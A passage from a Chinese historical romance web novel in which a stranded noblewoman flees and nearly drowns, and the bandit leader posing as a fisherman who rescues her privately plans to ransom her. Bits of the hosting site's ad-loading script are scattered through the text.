“白原洲在水上,若要去镇里,必须渡河,”他将金簪放在手中把玩,低眉打量着,簪尾用金丝银线缠出花的模样,底下还带着两点流苏,这工费怕是比金子还贵,便是镇上的富商也少有舍得的,“但是船坏了,没法儿渡河。” “何时能修好?” “不知。” “那我何时能走?” “也不知。” 崔竹喧顿时怒上心头,也顾不得这不是她自幼生活的崔府,而是一个犄角旮旯里的破竹屋,冷声骂道:“你怎么什么都不知道?” “这得看天时地利,某又不是方士,能掐会算的,上何处知道去?”被骂的人不觉得恼,反倒被挑起了几分兴致,翘着唇角看过去,握着金簪的手指轻轻摩挲着,“你叫什么名字?” “我的名讳岂能让你一个外人知晓?”崔竹喧冷淡地扫过他一眼,“你只需尊称我一声崔女公子即可,念在你救了我的份上,虽你无知,但我非那等知恩不报之人,不会缺给你的金银。” 他抬眸,敷衍一笑,“行,崔、女、公、子。” 字音被刻意拉长,分明是她平日里听惯了的称谓,却生出点莫名的意味。 那人起身便走,她何曾被人甩过冷脸,可流落至此,她只能从他嘴里套话,是以,攥紧了衣角,不自然地开口: “我乃虞阳崔氏女,崔竹喧。” 5. 005 绝非善类 那人当即住了脚步,“可有小字?” 崔竹喧蹭的一下站起来,顿时把方才的心理建设忘得干干净净,眸中满是愠色,“你这人好生无礼!” “寇骞。” 她怔愣一下,好一会儿才反应过来,他是在说自己的名字,那人低眉轻笑几声,转身回来,端起了桌边的药碗递给她,“把药喝了,祛寒。” 一个巴掌大的粗瓷碗,倒是没有豁口,可那花纹粗劣,质地下乘,莫说跟她专用的琉璃盏相比,就是跟府里普通盛饭菜的越窑瓷也相差甚远,更遑论里头装的还是黑乎乎的药汁,在碗壁留下一层褐黄色的印子,谁知道里面放了什么! 她还没寻到借口推拒,那人却跟她肚子里的蛔虫似的,率先解释道:“只是些桂枝汤,用桂枝、芍药、炙甘草、生姜、大枣熬的,白原洲没有大夫,大家在水里泡久了,有个头疼脑热的就熬一碗喝,多半都是有效的。” “要是还不放心,某替你试毒?” 说着,寇骞便端碗喝了一大口,用袖口随意地抹了下嘴,把碗又塞回到她的手里。 出门在外,还是保重身体要紧。 崔竹喧将碗调了个方向,闭上眼睛,正准备一口闷下,脑子里忽然涌现出那些江湖话本里的情节,下毒下得巧妙,不下在碗里,而下在碗沿,眼见别人喝着无事,自己一喝就中了招,顿时心生徨徨。 她深吸一口气,又将碗转回去,心一横,对着那人下嘴的位置贴了上去。 世间总没有哪个歹人是把毒药下在自己嘴里的! 可下一刻,她就没工夫去想这些弯弯绕绕了,黏稠的药汁自舌尖涌向喉头,浓郁的涩味缠绕在唇齿间,苦意直钻心头,何止是药苦,根本就是她命苦,否则怎么会在这么个破地方,用破碗喝破药? 她鼻头一酸,便有颗泪珠自眼眶滚落,顺着脸颊,砸进黝黑的药汁里。 “……不就是喝个药吗?” 一双泛着水光的眸子当即朝他瞪来,大抵是想凶凶他,可那般眼尾绯红的模样,能吓唬住谁?总归寇骞是吓不住的,他甚至忍不住多看了两眼,喉头一滚,强迫自己挪开视线,扯开边上的柜门,一个罐子一个罐子地翻找起来。 “是有蜜饯吗?”崔竹喧眼巴巴地望过去,样子别提有多凄惨。 寇骞将柜里东西清出来大半,才寻出一块用油纸包的饴糖来,好像是去岁麻子成亲时给他散的喜糖,所幸没顺手扔给路边的小毛孩,不然真没东西能用来哄人。 他把油纸在袖口上蹭掉积灰,这才递过去,“暂时只有这个,将就一下,某明日去别人家讨些。” 崔竹喧蹙眉扒开油纸,时值夏日,那糖早就化了,黏在纸上牵出细软的糖丝,如何能入口?她万分嫌恶地把糖搁在桌案上,想催他再寻些别的,就见那人已开始把杂乱的东西重新塞回柜子里,罐子似是与什么东西撞在一起,发出一声轻响,凝眉细看,却是藏在最里头的一柄黑色的刀。 什么渔民会在家里藏刀啊?这人绝非善类! 她心头一凛,僵在原地,感觉从头到脚一阵寒意,目光重新扫向四周,能用来当武器的至多是地上那条板凳,桌上那个茶壶,可从这人先前露的那一手也知,想偷袭成功不如祈祷这人突发痼疾,暴毙而亡。 她堂堂崔氏贵女,怎么能不明不白地死在这种地方? 把桌上黏糊糊的饴糖捡起,整个塞进嘴里,已然没心思理会甜味是否将口中的苦涩压下,她得假意顺从,把这人骗出去,然后想办法逃。 “我要沐浴。” 寇骞把柜门合上,随意点点头,“好,某去备水。” 烧水要在厨房,观这卧室也不过几步就能走完,厨房肯定隔得不远,她又支使道:“还要换洗的衣裳,要新的!” “这里的女人少,不一定有,”他拧起眉,“某今夜先帮你借套干净的,明日托人给你做,可好?” 崔竹喧勉强应了,那人便撩开帘子出去,她立时踮起脚尖,从窗棂往外偷瞧,他将蓑衣披上,头上压了顶斗笠,就冒着蒙蒙的雨,鞋底踩上烂泥,很快不见了踪影。 天上的云厚厚的,又快入夜,显得整个天地都昏昏沉沉,压得人喘不过气来。 崔竹喧拉开柜子,首先将那把刀拿好,四下没瞧见什么好用的绳子,干脆咬牙把床幔扯下来当包袱皮,摸去厨房扯了几个看上去像吃食的东西装好,牢牢地绑在身上,淋雨闯了出去。 坑坑洼洼的路甚是难走,那些泥吸着她的鞋底子不放,好不容易拔出来,又飞溅至她的裙摆,没走出多远,价值不菲的鲛纱就被糟践成黑黑黄黄的破布。 她有心想寻户人家问路,可又想到那个藏刀的歹人和邻里十分熟络的模样,说不准是一伙的,连屋檐下都不敢去,慌慌张张地逃窜,这时反倒感谢起雨来,人都回了房里避雨,才让她顺利地到了河边。 新新旧旧的船只随着河水漂漂摇摇,皆靠小臂粗的麻绳栓着,只打眼一望,少说也有十几条。这么多的船,哪条渡不得河?那人果然是满嘴谎话,企图诓骗她,还敢称自己是好人? 呸!没脸没皮的坏东西! 她选了瞧上去最干净的那条船,提着裙摆,只是左脚方跨过船舷,还未踩实,那船便像是忽然生出了神智,同难驯的烈马一般,容不得人骑在它头上作威作福,卯足了劲儿挣扎,绊得她一头栽进去。 掌心和膝盖都是火辣辣的疼,定然磨破了皮,又叫这污水一浸,顿时多出些如被虫蚁啃噬的痒意,她自来金尊玉贵,几时遭过这么大的罪,泪水不受控制地涌出来,而后被漫天的冷雨胡乱打下去。 她四肢并用地爬起身,站不稳,便跪伏在船里,心底将该死的蓝青溪剁成了千百份,用手背抹了抹眼睛,长刀出鞘,把禁锢船只的绳索割断,浪头一滚,船便顺水而出。

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 船自由了,她也是。 * “笃笃笃” 雨点砸于瓦砾之声,同指节叩在木门上的声音混在一起,屋外尚难分辨,更遑论屋里,敲了好一会儿,才隐约听得里头桌椅挪动的“吱吖”声,而后是个爽朗的女声,又热切又骂咧。 “谁呀?饭点上门,乞白食来的?” 寇骞往后退了两步,整个人融进雨幕里。 门板被拉开一掌宽的空档,从中挤出一张脸来,上下嘴皮子一碰,正要再打趣几句,定睛却瞧清了来人,面上顿时绽开个大大的笑,“寇郎君,你要来用饭怎的不早些打个招呼?” 门户大开,妇人热络地将他引进来,“你且进屋等等,我再去烧道菜来!” “范娘子,不必那么麻烦,”寇骞并未进屋,只是立在檐下沥干斗笠上的水,“我让阿树炖了鱼,一会儿回去吃就行。” “我想来借身女儿家的衣裳,最好是新的。” “是为了你捞起来那个小娘子吧?”范娘子捂嘴笑了笑,脆声道,“往日可没见你对谁这般上心啊,莫不是好事将近了?届时摆喜宴可要叫我去做掌勺啊!” 寇骞轻咳了两声,不自然地开口:“没影的事,范娘子倒不如盼着我下回收拾了姓丁的那窝,请你烧几桌庆功宴。” “都盼,都盼啊!”范娘子弯着眉眼,进屋翻找一番,没一会儿便拿出个小木箱塞进他怀里,“本是做给云娘的,她怕新衣被泥点儿弄脏了,没舍得穿,寇郎君要,自是先紧着你这处,回去路上可当心点,莫叫雨打湿了。” “云娘既心疼新衣,我借了这回便成旧衣了,索性明日抱匹布,烦你给她再做两身新衣。” 范娘子眼神一亮,嘴角几乎要咧到耳根,却摆着手推拒道:“白原洲的人家谁不是受着寇郎君的恩惠,不过一身衣裳,云娘哪就有那么娇气?郎君不必介怀。” “也不单给云娘做,崔、就是我家那个,正逢汛期,一时半会儿也没法送她回去,还请范娘子与别的姑婶一道,帮她缝制个十套八套的衣衫,布匹和银子我明日一并送来。” “十套八套?”范娘子讶然地瞪大眼睛,可对上寇骞确定的眼神,顿时又哑了声,只是忍不住在心底腹诽,这是个下金蛋的母鸡孵出的姑娘不成,寻常人家十套八套足够穿个十年八年的了,还说不是好事将近呢,这都要把人一年四季的衣裳都做齐全了。 寇骞重新戴上斗笠,又问:“范娘子这可还有甜嘴的吃食?可否匀我些,等汛期过了,叫人从镇上买来给你补上。” 不必问,定然又是那小娘子要的。 范娘子在这白原洲住了十来年,就没听说寇骞爱吃甜的,又从屋里搜刮一番,甭管是什么糕点、果脯都抓了一把,用防水的油纸包好,系上绳,连带寇骞一并送出了屋。 这回,总不至于又把她惹恼了。 寇骞想。 6. 006 不轨之心 寇骞踏着细雨回到院子时,天已经黑了个彻底。 两块门板并未合拢,被风刮得“刺啦刺啦”地响,同晴日里的野蝉一般吵人。想来是阿树那个冒失鬼,送个鱼汤还能忘记关门,他明日得了空档非得去将人收拾一顿不可。 他拧起眉头,进院将门关好,脱了雨具,行至屋前,欲掀帘子的手一顿,转而在门框上轻叩几声。 “某可否入内?” “某带了你要的东西回来。” 里头寂然无声,他犹豫着将帘子缓慢拉开,“崔女公子?” 屋子空空荡荡,何止没有鱼汤,连人都没了。 橱柜的门大敞着,零零碎碎的东西扔了一地,床榻更是可怜,右边尚算完整,左边便只余下不规则的短布条镶在上头,活像个剃度到一半被赶出寺门的野和尚。 他只打眼一望,便知藏得最深的长刀没了。 白原洲有贼? 笑话,便是真的有,也没有偷到他这个贼寇头子身上的道理,是以,会做出这种事的便只有崔竹喧了。 白原洲拢共才二十几户人家,跟谁都是抬头不见低头见的,若瞧见个陌生面孔,定然会第一时间来寻他,而现在每家每户都是闭门不出的状态,就可确定,她没躲进任何一处民宅,而是直奔着渡河去的。 寇骞深吸一口气,冲出家门。 雨夜用小舟渡大河,她要是真能顺利渡过去,他寇骞从此跟着她改姓崔算了! 白原洲的路,他比她熟络得多,比起一路磕磕绊绊、平白兜了好大圈子的崔竹喧,他则是直直地奔着停船的渡口而去,终是来迟一步,只望见了被斩断的半截绳索。 “崔竹喧!” “听到就应一声,今夜不能渡河!快回来!” 被点到名姓的人倒是想应声,可光是呼吸就已然间断而艰难了,音节在喉间尚未成形,就被恶劣的浪砸上来,带着涩味的河水涌入唇齿间,似乎比那碗桂枝汤还要苦上百倍。胸腔仿佛被一只无形的手紧扼住,窒息感蔓上心头,眉眼湿透,全然辨不清那是雨、是河、还是泪。 耳畔的呼喊声渐渐弱了下去,连带着淅沥的雨、汹涌的浪都不再明晰,如浓墨般的黑暗在视野里晕开,她几乎不知道此刻自己是睁着眼睛还是闭着了。 水里可真冷啊,她想。 可下一瞬,便有一只结实有力的手揽向她的腰间,她几乎是本能的,如攥住救命稻草般,缠住了那具温热的躯体,被带着一路往上,风声和雨声重新涌进她的耳中,她却只是剧烈地咳嗽着,呕出被灌进的河水。 寇骞用麻绳将两人捆在一起,沿着绳索的另一端——渡口的老杨树,艰难地游回去,至于被浪头掀走的小舟,沉进水底的长刀,漂浮河面的包袱,管不了,也无暇去管。 大概是在皮肉被浸至与河水同温时,才踩着软烂的沙土上岸,饶是他一贯在水里讨生活,带着个人在浪里挣扎一路,眼下也免不得喘着粗气,解开腰间的绳结,冷嘲道:“当真是小瞧了你,我当你只是脾气大,没想到胆子比脾气还大,白日里刚从水里出来,夜里又要下水,急不可待想要当鱼食?” 若放在寻常,崔竹喧定受不了这番挖苦,便是拳脚拼不过,用一口银牙也得啃下他一块肉来,绝不让此人好过,可偏偏,是现在。溺水的窒息感方才退却,或咳嗽,或哽咽,泪水混着雨水湿了一张美人面。 他烦躁地皱起眉头,想把这个烫手山芋给丢出去,但耳侧娇弱弱的哭声,扰得他心潮也不平静起来。 他用冷硬的声调开口:“松手,下去。” 但那娇贵的女公子,如何会听他的指派,自顾自地哭着,如此僵持了半晌,终是寇骞先服了软,叹了口气,虚虚地拍了下她的脊背,“好了,回去吧。” “被扔河里的都是某的家当,你有什么可哭的?”此话一出,那哭声又汹涌了几分,他顿时懊恼起自己的嘴笨,深吸一口气,用此生最温软的语气去哄,“你要的新衣裳、蜜饯,某都准备好了,回去泡个热水澡,早早睡觉?” 回应他的是个虚弱的声音,“我的鞋丢了,走不了路。” 他低眉看去,左边的绣花鞋尚且规规矩矩地踩在沙土上,右边的罗袜沾不得污泥,索性用他的鞋面垫脚,他几乎要被气笑了,丢了只鞋,又不是丢了只脚,偏她的小臂还紧紧攀着他的脖颈,湿漉漉的青丝贴在他的颈侧,微凉的水珠便自她发间淌到他的锁骨,而后再沿着领口的缝隙溜进去,无端惹出一点热意。 “我捞的哪是什么姑娘,分明是个祖宗!” 寇骞轻嗤一声,却把人打横抱起,让她伏在自己肩头,天上还下着雨,这般多少能遮着些。 许是他表现得太过无害了些,又或是危险不复存在,惊魂已定,崔竹喧那一贯的蛮横心性又冒出来作祟,脸上泪痕未干,手指便去拽他的头发,“还不是你骗我!” 寇骞疼得倒吸一口凉气,拧眉瞪她,可撞上一双泪眼朦胧,心头窜起的火气又被强压下去。 “又说没船,又不肯送我走,家里还藏着刀,你根本就是满口谎话!” “渡河的大船坏了,小舟在汛期渡不了河,今年的雨又比往年都大,指不定什么时候才过汛期,某总不能像刚刚那样,带着你徒手游过去。” 崔竹喧依然用审视的目光盯着他,“那刀呢?你怎么解释?” “松荆河上水匪盛行,总要有点自保能力,”寇骞顿了下,“你若信不过某,大可明日去问问邻里,他们是否有准备刀剑。” 按理说,这般确认过他并非歹人,她应当放下心的,可这样一来,岂不是代表今日种种,皆是她的无理取闹,她抬头盯着他的下颌,沉默良久,久到寇骞正准备用一副宽和大度的模样接受她的道谢和道歉时,她陡然间话锋一转,语气凌厉,“你可敢对天发誓,对 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 我从未动过不轨之心?” “……不敢。” 崔竹喧冷笑一声,“果然是见色起意的庸人!” 寇骞蓦然停住脚步,看向那张倨傲的脸,世间怎会有性情这般恶劣的人,还窝在他怀里呢,就已经开始毫不遮掩地辱骂了,虽说,骂得不痛不痒,还没这豆大的雨珠砸在脸上疼。 “某既是庸人,自然贪财好色,洛水神女被一个浪打进怀里来,便是圣人也要动心的,你用这个来要求某,是不是太苛刻了些?”他的目光直白又犀利,生生逼得率先挑刺的人不自然地挪开视线,“再说,某就是想想,又没做什么,天底下人人都爱金银,也没见着个个冲进钱庄烧杀抢掠。” 他说得恳切,像是真话,崔竹喧想。 可她到底忍不住继续追问:“当真?” “……当真,”寇骞将手微微收紧了些,衣料早早便湿透黏在身上,二人又是这般亲密的姿势,他能听清自己乱了节奏的心跳声,恰恰与怀里的人同频,“所以,别怕。” “某是好人。” 他再度说道。 从渡口回小院的路并不算长,只是途径许多屋舍,灯影幢幢,崔竹喧偏头看去,透过纸糊的窗棂,隐约能瞧见里头晃动的人影,料想里头的人也是如此,能望到她这般狼狈的影子。 是故她又往里缩了些,企图把自己藏进他的轮廓里,又担心被他发现自己的小动作,目光小心地打量过去,所幸,他只是神色冷淡地走着,目不斜视。 他也是一副落汤鸡的模样,若要再说具体些,应当算是只眉清目秀的落汤鸡。 饶是没有锦衣华服作衬,他的长相也担得上一声俊俏,只是眉目冷峭了些,不似那些文人温和,更是与她的前未婚夫南辕北辙,与端方君子相去甚远,倒跟话本子里的侠客相像几分,只可惜,是个打渔的。 光是瞧那些屋宅便知,不只是他穷,这一整个白原洲都穷,把这些地圈在一起,也就她在乡下的一个庄子那么大。 “寇骞。” 她突然喊了一声,后者顺从地低眉下来,只当是她被这雨浇得受不了了,“快到了,再忍忍。” 越过院门,回到屋内,因着浑身漉漉,未免沾湿被褥,崔竹喧被他放在长凳上坐下,仍是一只脚着地,一只脚翘着的别扭姿势,她正欲支使他,那人却先一步取了双软布鞋,她下意识地把右脚往他的方向伸了些,抬眸却对上他有些玩味的目光,“确定让某来?” 她猛然间反应过来,忙将脚往后缩,“我、我自己来就行。” 寇骞轻点下头,俯身把鞋放在她脚边,四处扫视一圈,仍是没瞧见应被送来的鱼汤,料想是阿树撞见那幕后,不敢轻进他的院子,于是先将那一包零嘴摆在桌上。 “衣裳在边上的木箱里,若是饿了,便先吃些糕点垫垫,某去给你烧水。” 崔竹喧罕有地挑不出刺来。 7. 007 贪财好色 当然,崔竹喧若实在想挑,还是能挑出一堆刺来。 诸如,糕点的样式单一,入口不够细腻,再如木制的浴桶透出一股子穷酸味,再再如,澡豆里连甘松、白檀都未曾加,竟真的只是用豆子磨成的一罐粉,再再再如…… 罢了,毕竟居于他人屋檐之下,她该随和些才是。 收回目光,不去瞧那些碍眼的东西,长叹口气,用布巾仔细地搓洗着,依仗着夏日不易受寒,直到浴桶的水已经泛凉,她才被迫停手,从里头出来。 寇骞替她借来的,是一条碧色的襦裙,不知是多少年前的老旧款式了,平白把她穿得土气许多,唯有衣料还算勉强,至少没有穿得浑身痒痒,只是太短了,她一抬手,袖口便要落到小臂正中的位置,不论怎么扯,都有大半截手腕露在外头,所幸天不冷,当作半臂穿倒也凑合。 她用丝带将发丝随意系在脑后,提着裙摆,小心地沿着檐下那一小块没有污泥的地走着,推门进去,寇骞已在桌前坐着了。 这人的手脚未免太快了些,又去烧了水,又去端了鱼汤,还抽空洗好了澡。 崔竹喧在另一边坐下,目光隐晦地打量过去,他换了身蓝黑色的袍衫,腰间系着蹀躞带,只是这都要入睡的时辰了,却连护腕都扣得严严实实的,也不嫌麻烦。 但比起这些,她更关心另一点,他有没有洗干净? 不会只是把湿衣服换了吧?江水里掺着那么多泥沙,还混着鱼腥味儿,要真这么过夜,人怕是都要腌入味儿了吧? 或许是她的鄙夷过于直白,扰得寇骞盛汤的动作都有片刻迟疑,犹豫地看了看自己,“某的衣裳不对?” 崔竹喧不自然地挪开目光,尴尬地出声:“没有,就是觉得,你这个人干活还挺利索,这么一会儿功夫干了这么多事。” 许是为了增加言语的可信度,她连忙把先前思忖好的正事拿出来说,“你既喜欢金银,那我许你三块金饼可好?” 那人不置可否,她便自顾自地往下说:“那根簪子也给你,若你哪日不想在这处待了,将簪子递到崔府来,我定然给你安排个舒服的差事——大官可能得叔父点头,但小差我自己就能做主,总归不会让你流落街头的。” 寇骞微微挑眉,“小祖宗就不能盼某点好的?某有手有脚的,怎么就要流落街头了?” 上一刻还算温和的声音,这一刻又被他招惹至含怒,“你这人怎么这样啊!我这是在对你好呢,怎么好赖分不清呢?” 寇骞愣了下,随即低笑几声,在这唯有雨声的夜里,那笑声便格外清晰了,崔竹喧深觉这是他忤逆自己的证据,于是又扯了一把他的头发,盯着他扬起的眉眼变成呲牙咧嘴,这才满意松手。 “先前我对你的态度是不太好,但那也是因你来历不明,现在误会解开,我也许了你报酬,你要是敢到外头乱说我是恩将仇报的白眼狼——” “某不敢。” 崔竹喧对这人被教训过后的识相深感欣慰,“这还差不多。” 寇骞好笑地望了她一眼,把盛好的鱼汤推过去。 崔竹喧拿起木箸,低眉在碗里搅动一番,以验尸的目光去审视漂浮在其间的各色肉块,黑的、白的、焦黄的、深灰的,被一根根熬煮至透明的骨头穿插到一起,宛若最凶恶的歹人作案后留下的碎尸现场。 她咽了口口水,本能的有些反胃。 但她确实是饿了,毕竟醒来这么久,也没什么正经吃食下肚。 可碗里真的是能吃的东西么?她从未见过这么不堪入目的尸块汤。 偏生对面那人全无她这般千回百转的心思,只在她犹豫的这么短短时间里,他的碗就已经见了底,此刻正用汤勺利落地添补第二碗。 大约、大概、大抵是能吃的吧。 崔竹喧的木箸又在汤水里浸了浸,仍没找到下嘴的位置。 “你不吃鱼?” “这是鱼?” 寇骞停箸望过来,拧眉端详了下这惨被踢出鱼籍的豆腐炖鱼,决定为它正名,“长这样的,不是鱼是什么?会凫水的鸡还是生了鳞的鸭子?” “可是、可是……”崔竹喧想要描述一番自己平日见到的鱼汤的模样,但细纠下来,好像确实有那么几分相像的地方,眉头不由得蹙得更紧,连鱼都不认得,岂不是让人耻笑? 她垂下头,在碗里挑拣稍微好看些的白色肉块,可木箸刚把它捞起,就瞧见里头藏的尖尖细细的刺,这要是扎进喉咙里,怎么得了。于是她又去换下一块,可下一块也有,甚至比上一块的鱼刺更多。 哪有这么不负责任的厨子,煮鱼前连鱼刺都不剔干净! 她撂下木箸,决定还是继续靠点心充饥得好。 崔竹喧正要寻个借口推托,面前却突然伸来一只手,把她的碗端了去,将里头被搅和得稀碎的鱼汤换了个地方待着,转而迎来两个金灿灿的荷包蛋躺进碗底,上头再浇一勺雪白的豆腐,重新被摆回她的面前。 “我也不是不吃鱼……”她低眉咬了一口荷包蛋的边缘,煎得有些焦了,带着一点苦味,同好吃不沾边,只能算是勉强入口的水平。 “嗯,只是不吃鱼头、鱼尾、鱼内脏,见不得鱼皮,还不会挑鱼刺。”寇骞淡淡地把她的未尽之言补充完整,“怪这鱼不识相,没长成合你心意的模样。” 她当即剜过去一个眼刀,这话说的,搞得好像她是什么很不讲道理的人似的。 但吃人嘴软,崔竹喧决定等吃完再同他掰扯这些。 两个荷包蛋并一碗豆腐汤下肚,她又捻了块绿豆糕慢吞吞地啃着,蒙难流落的惊惶都一并被嚼碎咽下,她甚至想起那些个话本子来,果然文人写字就是夸张,一分事实非要三分吹嘘、五分藻饰,再口口相传、添油加醋,最后搞出十一分的耸人听闻来。 大邺吏治清明,哪就有那么多不要命的歹人肆意生事,动不动就说 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 天下不太平,这儿有盗匪,那儿有恶徒的,弄得她好生心惊胆颤了一番,结果弄出个大乌龙来。 她瞟向对面,虽然是个草寇,但知节守礼,倒是比她在虞阳相看的那些个歪瓜裂枣还强上几分。 “明日想吃什么?” “七翠羹、素烩三鲜丸、清炖蟹粉狮子头。” 寇骞收拾碗筷的动作顿了一下,重新坐下来,目光盯了她半晌,确定她是出自真心而非刻意刁难,无奈地抓了把头发,“某换个问法,你有什么不想吃的?” 崔竹喧后知后觉地意识到,这儿要是能凑出那些珍馐佳肴来,他们此刻也不必围在这张小桌前喝尸块汤,她难得体谅了下旁人,“清淡些就好,我不挑。” 寇骞敷衍地点点头,信她,不如信江里的鱼会主动蹦进他的碗里。 “你就住之前的那间卧房,被褥在床底的木箱里,若是夜里会冷,就翻出来盖上。”他动作麻利地将锅碗都放进木盆里,等白日里有光方便清洗干净,“某会在辰时叩门,其余时间有人来,不要开门,打发人去槐树下的屋子寻我就行。” 崔竹喧不由得有些疑惑,“你为何要在同一个村子里置办两处不挨在一起的屋宅?” “……因为某是去邻居家借住。” 她一时语塞,自己这个外来客,竟把屋主给赶出了家门,顿时生出了点零星的愧疚,“我再给你十两银子,当做赁屋子的钱。” 十两,都够他再盖一间屋子了。 短短一日,就许了他三个金饼、十两银子、一支金簪和一个吃喝不愁的差事,拜财神都没有拜她来得见效。 寇骞再度披了蓑衣斗笠,步入雨中。 他应是贪财好色,所以才肯费心哄人。 …… 床板很硬,却是不怎么结实的样子,崔竹喧甚至还没翻身,不过是动动胳膊挪挪腿,床架便吱呀吱呀响个没完,这般不中用的东西,不若劈了当柴烧算了。她又盯向跟乞丐装没什么两样的床幔,拿这个引火正好。 但也只是想想,总不能真的把人家的卧房一把火点了。 要不然叫寇骞明日帮她把这床幔补补?大不了,她再给他一条银铤。 她这头睡不安稳,寇骞那头亦然。 寇骞推开房门,扑面而来就是一股浓重的酒味儿,里头人划拳、摇骰,玩得气氛正好,却于此刻戛然而止,一个个都是扯出张尴尬的笑脸,暗搓搓地把押注区的银子往自己怀里收。 坐在正中央的阿树腆着脸问:“老、老大,你要来怎么不早说?” “要是说了,怎么能知道你们新花样一天比一天多?”寇骞解开喉间的绳结,立时有眼尖者跑到后头接过蓑衣斗笠,欲趁放雨具的时机悄悄溜走,脚刚迈过门槛,就听得冷淡的声音继续道,“冒雨回去,易染风寒。” 于是那脚当即退了回来,闷头钻到墙角去。 “心虚成这样,赌的什么?” 8. 008 梳云掠月 屋里一片寂然,无人应声。 寇骞冷笑一声,“行了,你们什么德行我还不知道?无非就是何日圆房、一夜几次这种龌龊东西,今日便算了,下次再让我抓到,就扔江里喂鱼去。” 众人讷讷应声,阿树倒了碗酒递过去,见寇骞喝了,这才壮起胆子问:“老大,那你准备何日办喜事啊?” 寇骞瞟过去一眼,“明日。” “啊?这是不是太仓促了?” “怎么会?现在杀,夜里守灵,明早出殡,午间吃席,快得很,要试试吗?” 阿树面色一僵,屁股往边上腾挪几步,硬生生挤去了桌子的边缘。 “这是个肥羊,出手阔绰,但来头应当也不小,自己平日说话做事都注意着点,别到时候招惹来一群官兵。” “没听说县里有这般人物啊,”角落的男人抓了抓头皮,有些惊讶,“难道是县太爷新纳的美妾?” 寇骞鬼使神差地回想起她那恶劣的性子,别说给县太爷做妾,便是县太爷给她做妾,她都不一定能顺心赏个好脸色。 将酒碗一搁,撩帘进了里屋,合衣躺上榻。 赌局没了,闷头喝酒也捱不了多久,不多时,人群便稀稀拉拉地散了,剩下阿树与牛二扯了竹席子铺在地上,也囫囵睡去。 雨打窗檐,直至四更天也没个消停,雷声倒是没有,却有此起彼伏的鼾声比雷要更响亮些,扰得榻上人翻来覆去也合不上眼睛,索性又把怀里的金簪拿出来打量。 天色昏暗,屋里又没点灯,着实是瞧不出什么名堂的,可指尖总是忍不住去抚弄垂落的流苏,他思索了半天缘由,大抵是因为贪财,所以对这等价值不菲的物什才多几分偏爱。 只是发呆得久了,便不免由此及彼,想得多些。 譬如她身上的衣料,薄如蝉翼,触手细腻,不逊于他曾见过的任何一匹绫罗,又或是她的那双锦鞋,绣工暂且不论,单是要凑齐颜色纯白、大小一致、质地圆润的二三十颗珍珠便不是件易事,随意串成链子都能被卖个好价,她却奢侈到只将之缀在鞋面上。 还有那—— “阿嚏!” 鼾声中又闯出一道喷嚏声,而后是榻边的窸窸窣窣,大概是哪个人爬起来擤鼻涕,几个大男人挤在一间屋子里睡觉,闹出动静来在所难免,寇骞懒得搭理,那人却凑过来搭话。 阿树咕嘟咕嘟灌了半碗茶水下肚,胡乱抹了把嘴,“老大,你准备怎么处理那小娘子啊?” 寇骞拨弄流苏的动作顿了下,那细长的流苏渐渐停了摇晃,他的心底却没来由生了纷乱,他索性合上眼,缓缓道:“自然是照着规矩来,养几日,索个买命钱。” 提到钱,阿树眼睛登时就亮了,眼珠子骨碌碌转上一圈,想到寇骞先前提过的“出手阔绰”,试探地伸出了五根手指,“这么说,能要到这个数?” 寇骞摇摇头,那人便忍痛收回了一根拇指,见他仍是摇头,咬牙把食指也摁了下去,“三十两总要有吧?不然还不如在水里多捞几个鎏金的匣子呢!” 寇骞心底烦闷之意更甚,把簪子塞进怀里,翻了身,面朝墙壁,敷衍道:“睡了。” 不是,一晚上不睡,聊得来劲了,就突然犯困了是吧? 仗着寇骞后脑勺没长眼,阿树没好气地瞪过去,撇撇嘴躺下。 只是眼皮子刚耷拉下来,气还没喘匀呢,上头突然伸过来一只手,勾着衣领把他又拽起来,阿树苦大仇深地望过去,是寇骞皮笑肉不笑的脸。 “天色不早了,你去生火做饭吧。” 阿树偏头看了眼乌漆麻黑的窗外,又转头看向这个他明显打不过的人,自认倒霉,点上蜡烛,唉声叹气地进了厨房。 只是没想到,那人竟也跟了进来,杵在门边上,跟还没来得及砍的木头桩子似的。 阿树往灶下生了火,锅里添上水,寻摸了一把空心菜洗净,菜刀哐哐剁上几下,便将其投进翻涌的滚水中,再扔进几个硬邦邦的饼子一起煮烂,朝食就算烧好了。 毕竟是粗人,还能烧出什么精细的吃食不成? 寇骞往日也是这般吃的,一个人懒得侍弄,索性跟他们搭在一锅里煮,还能省下几根柴,只是,他忽而记起昨日崔竹喧那挑挑拣拣的模样,他若端着这锅糊糊去给她,她不是要闹就是要哭了。 哄人麻烦,还是一开始就不要招她的好。 阿树对这份突如其来的嫌弃不得而知,拎着锅铲在里头费力搅和时,寇骞却从边角处收拣了几样食材进布袋,戴上斗笠便往外走。 “我不在这儿吃了,这几日不必算我的份。” “好嘞,老大你慢走!” 阿树笑着目送走那个黑漆漆的身影,而后将锅铲愤而砸进锅里。 下次他夜半醒来,便是跟野鬼搭话,也绝不同这人多说半个字! * 天尚是蒙蒙亮,唯远处的云隙间泄进一抹光,让人能将花草树木瞧清个轮廓,才不过卯时过半,比昨日约的辰时要早了许多。 寇骞拎着东西在门外站了片刻,试探着敲了下门,“可醒了?某来给你送吃食。” 彼时崔竹喧正拿着木梳,和她乌黑的头发做斗争。 梳妆打扮,向来有侍女代劳,她一贯只需坐在镜前,口头指派今日要梳什么发式,戴那些钗环,若碰上她无有兴致,那便全权交给丫鬟打理,总归不会出错,哪像现在这般,垂鬓分肖髻梳不成,随云髻挽不上,连单螺髻都弄不好。 折腾来折腾去,头发梳没梳顺不谈,心气已然不顺了。 她来开门时,寇骞已等了小半个时辰了,懒洋洋地倚在檐下,“刚起?” 斗笠下的目光低垂着,是以,他先瞧见的是垂落的长发,因着绵绵细雨,发丝上沾染了些水汽,被徐徐的风吹拂着,发尾扫过他的手背,留下似有似无的痒意,让他很想留下一缕捻在手心,但只能想想,不然,他的头发就该落进她的手心,被生拉硬拽了。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >“他们今日煮的是菜糊,你可能吃不惯,某给你单做些馎饦。”他望向站在入口处,把门缝霸占完了的人,两指又轻叩了下门板,“可否让某进去?” 四目相对间,空气似凝滞了一瞬,随即,女郎一言不发地退开。 